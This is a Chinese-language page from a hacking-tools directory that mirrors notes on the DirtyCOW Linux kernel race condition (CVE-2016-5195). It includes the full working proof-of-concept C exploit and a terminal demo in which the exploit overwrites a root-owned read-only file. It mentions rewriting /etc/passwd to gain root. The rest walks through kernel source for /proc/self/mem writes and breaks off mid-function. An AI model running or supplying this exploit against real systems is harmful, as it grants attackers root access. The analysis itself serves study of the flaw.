Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2016-5195 — DirtyCOW 笔记 | Kitploit
工具/GitHubGitHub/asuka39/cve-2016-5195
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubasuka39/cve-2016-5195

CVE-2016-5195

DirtyCOW 笔记

查看仓库
22年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2016-5195 DirtyCOW

PoC

  • 修改自dirtycow.github.io
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg) {
  char *str;
  str = (char*)arg;
  int i, c = 0;
  for(i = 0; i < 100000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}

void *procselfmemThread(void *arg) {
  char *str;
  str = (char*)arg;

  int f = open("/proc/self/mem", O_RDWR);
  int i, c = 0;
  for(i = 0; i < 100000000; i++) {
    lseek(f, (uintptr_t)map, SEEK_SET);
    c += write(f, str, strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}

int main(int argc, char *argv[]) {
  if (argc < 3) {
      (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content");
      return 1;
  }
  pthread_t pth1, pth2;

  f = open(argv[1], O_RDONLY);
  fstat(f, &st);
  name = argv[1];

  map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
  printf("mmap %zx\n\n", (uintptr_t)map);

  pthread_create(&pth1, NULL, madviseThread, argv[1]);
  pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

  pthread_join(pth1, NULL);
  pthread_join(pth2, NULL);
  return 0;
}
$ sudo su
# echo "READ ONLY" > flag.txt
# chmod 0404 flag.txt
# exit
$
$ ll flag.txt 
-r-----r-- 1 root root 10 flag.txt
$ echo "aaaaaa" > flag.txt
Permission Denied
$
$ gcc -pthread dirty.c -o dirty
$ ./dirty flag.txt aaaaaa
mmap 7f1a35bc4000

procselfmem -2094967296

madvise 0
$ cat flag.txt
aaaaaa

比较常见的利用手法是越权写/etc/passwd修改 root 用户或修改用户权限来提权

Analysis

Exploit Analysis

先来看看 exp 做了什么

int main(int argc, char *argv[]) {
  if (argc < 3) {
  	(void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content");
	return 1; 
  }
    
  pthread_t pth1, pth2;
  f = open(argv[1], O_RDONLY);
  fstat(f, &st);
  name = argv[1];

  map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
  printf("mmap %zx\n\n", (uintptr_t)map);

  pthread_create(&pth1, NULL, madviseThread, argv[1]);
  pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

  pthread_join(pth1, NULL);
  pthread_join(pth2, NULL);
  return 0;
}
  • 首先调 pthread 建两个线程
  • 然后fopen打开只读的目标文件argv[1]
  • 将文件mmap到内存(地址随机),MAP_PRIVATE的作用是建立一个 Task 私有的内存映射,如果有别的 Task 尝试写入这篇内存,该进程在写入前会先复制出一份拷贝再进行写入,从而在实现在起子进程或起线程时无需花费大量时间空间拷贝整个内存空间,又能保证 Task 间的并发内存操作互不影响,这就是 CopyOnWrite
  • 随后启动两个线程,一个执行madviseThread,一个执行procselfmemThread

然后看看两个线程的执行体

  • 一个线程对文件映射调用madvise告诉内核映射的内存或者共享内存的使用情况,MADV_DONTNEED表示接下来不再使用这块内存区域,内核可以释放它
  • 另一个线程以读写权限打开/proc/self/mem,这个文件是进程自身的虚拟内存的文件映射,然后不断尝试向文件写入目标信息
void *madviseThread(void *arg) {
  char *str;
  str = (char*)arg;
  int i, c = 0;
  for(i = 0; i < 100000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}
 
void *procselfmemThread(void *arg) {
  char *str;
  str = (char*)arg;

  int f = open("/proc/self/mem", O_RDWR);
  int i, c = 0;
  for(i = 0; i < 100000000; i++) {
    lseek(f, (uintptr_t)map, SEEK_SET);
    c += write(f, str, strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}

最终,在两个线程的轮番轰炸下内核出现竞争漏洞,procselfmemThread成功写入只读文件

Kernel Analysis

  • 大前提:mmap只会在 vma 上建立内存映射,但不会真的将映射文件放进物理页框。因此当我们第一次尝试write文件时必然会触发缺页异常
  • 这里选择的 kernel 版本是 4.4

What happens when we write

mem_rw

我们从write开始分析。对文件的任何操作都要走文件所在的文件系统在 VFS 上注册好的虚表file_operations,而/proc上的文件是由 procfs 实现的,找到proc_mem_operations,可以看到write会被绑定倒mem_write上

static const struct file_operations proc_mem_operations = {
	.llseek		= mem_lseek,
	.read		= mem_read,
	.write		= mem_write,
	.open		= mem_open,
	.release	= mem_release,
};

mem_write是对mem_rw的一个 wrap(write标志置为 1),mem_rw的主要流程是

  • 首先__get_free_page申请一个临时的空闲页充当缓冲区
  • 若为写操作,调用copy_from_user将待写的数据拷贝到临时页
  • 然后access_remote_vm读取目标数据到空闲页(读)或将缓冲区的内容写到目标地址(写)
    • 所谓 remote,其实是因为本进程有可能会去读写其他进程的内存映射文件,也就代表了进程可能会去访问其他进程的地址空间,这点和其他 memory filesystem 不同
  • 若为读操作,那么将上一步读到空闲页的数据写回用户的缓冲区中
static ssize_t mem_rw(struct file *file, char __user *buf,
			size_t count, loff_t *ppos, int write)
{
	struct mm_struct *mm = file->private_data;
	unsigned long addr = *ppos;
	ssize_t copied;
	char *page;

	if (!mm)
		return 0;

	page = (char *)__get_free_page(GFP_TEMPORARY);	// 申请临时空闲页面
	if (!page)
		return -ENOMEM;

	copied = 0;
	if (!atomic_inc_not_zero(&mm->mm_users))
		goto free;

	while (count > 0) {
		int this_len = min_t(int, count, PAGE_SIZE);	// 本次读取/写入数据长度,单次最大为PAGE_SIZE

		if (write && copy_from_user(page, buf, this_len)) {		// 若是写操作,从用户空间拷贝待写数据到临时空闲页面
			copied = -EFAULT;
			break;
		}

		this_len = access_remote_vm(mm, addr, page, this_len, write);	// 读取/写入数据到临时空闲页面
		if (!this_len) {
			if (!copied)
				copied = -EIO;
			break;
		}

		if (!write && copy_to_user(buf, page, this_len)) {	// 若是读操作,将读取到的数据从临时空闲页面拷贝数据到用户空间
			copied = -EFAULT;
			break;
		}

		buf += this_len;
		addr += this_len;
		copied += this_len;
		count -= this_len;
	}
	*ppos = addr;

	mmput(mm);
free:
	free_page((unsigned long) page);	// 释放临时空闲页面
	return copied;
}
__access_remote_vm

access_remote_vm是对__access_remote_vm的 wrap,主要流程是

  • get_user_pages获取地址目标addr所在的 page struct
  • 若获取成功,调用kmap将 page 映射进内核的 high memory(page 所指代的是物理页面)
  • 若内存访问是写操作,那就将数据写入后置脏位,若是读操作就将数据读入即可
static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm,
		unsigned long addr, void *buf, int len, int write)
{
	struct vm_area_struct *vma;
	void *old_buf = buf;

	down_read(&mm->mmap_sem);
	/* ignore errors, just check how much was successfully transferred */
	while (len) {
		int bytes, ret, offset;
		void *maddr;
		struct page *page = NULL;

		ret = get_user_pages(tsk, mm, addr, 1,		// 获取addr对应的page
				write, 1, &page, &vma);
		if (ret <= 0) {		// 获取失败
#ifndef CONFIG_HAVE_IOREMAP_PROT
			break;
#else
			/*
			 * Check if this is a VM_IO | VM_PFNMAP VMA, which
			 * we can access using slightly different code.
			 */
			vma = find_vma(mm, addr);
			if (!vma || vma->vm_start > addr)
				break;
			if (vma->vm_ops && vma->vm_ops->access)
				ret = vma->vm_ops->access(vma, addr, buf,
							  len, write);
			if (ret <= 0)
				break;
			bytes = ret;
#endif
		} else {	// 获取成功
			bytes = len;
			offset = addr & (PAGE_SIZE-1);
			if (bytes > PAGE_SIZE-offset)
				bytes = PAGE_SIZE-offset;

			maddr = kmap(page);		// 映射page到内核空间,因为我们获取的是page结构体,需要映射到一个虚拟地址之后才能进行写入
			if (write) {	// 如果是写操作
				copy_to_user_page(vma, page, addr,		// 将buf的数据拷贝到page中,完成写入
						  maddr + offset, buf, bytes);
				set_page_dirty_lock(page);	// 设置页面为脏页
			} else {		// 如果是读操作
				copy_from_user_page(vma, page, addr,
						    buf, maddr + offset, bytes);
			}
			kunmap(page);
			page_cache_release(page);
		}
		len -= bytes;
		buf += bytes;
		addr += bytes;
	}
	up_read(&mm->mmap_sem);

	return buf - old_buf;
}
__get_user_pages

以上就是 procfs 读写操作的 overview 了。下面我们从get_user_pages开始切入

get_user_pages是__get_user_pages_locked的 wrap,而后者调用了__get_user_pages才是逻辑主体,其流程如下

  • 首先遍历要操作的页面并做一些前期准备,包括设置每个页面的权限位图foll_flags
  • 若为第一次迭代或起始地址大于当前 vma 基址,find_extend_vma获取起始地址所在的 vma
  • 若进程没有收到或屏蔽致命信号,follow_page_mask获取虚拟地址对应的物理页的 page struct
    • 通常页面都不在内存中,即第一次访问页面会造成缺页
    • 另外,若没有对该页面的操作权限,同样会引起异常
    • 此外还有 OOM、硬件故障等其他原因,这里不关心
  • 若没能获取成功且不是故障(返回 0),调用faultin_page处理缺页异常。完成处理成功后跳回follow_page_mask重试页面获取
long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
		unsigned long start, unsigned long nr_pages,
		unsigned int gup_flags, struct page **pages,
		struct vm_area_struct **vmas, int *nonblocking)
{
	long i = 0;
	unsigned int page_mask;
	struct vm_area_struct *vma = NULL;

	if (!nr_pages)
		return 0;

	VM_BUG_ON(!!pages != !!(gup_flags & FOLL_GET));
下载工具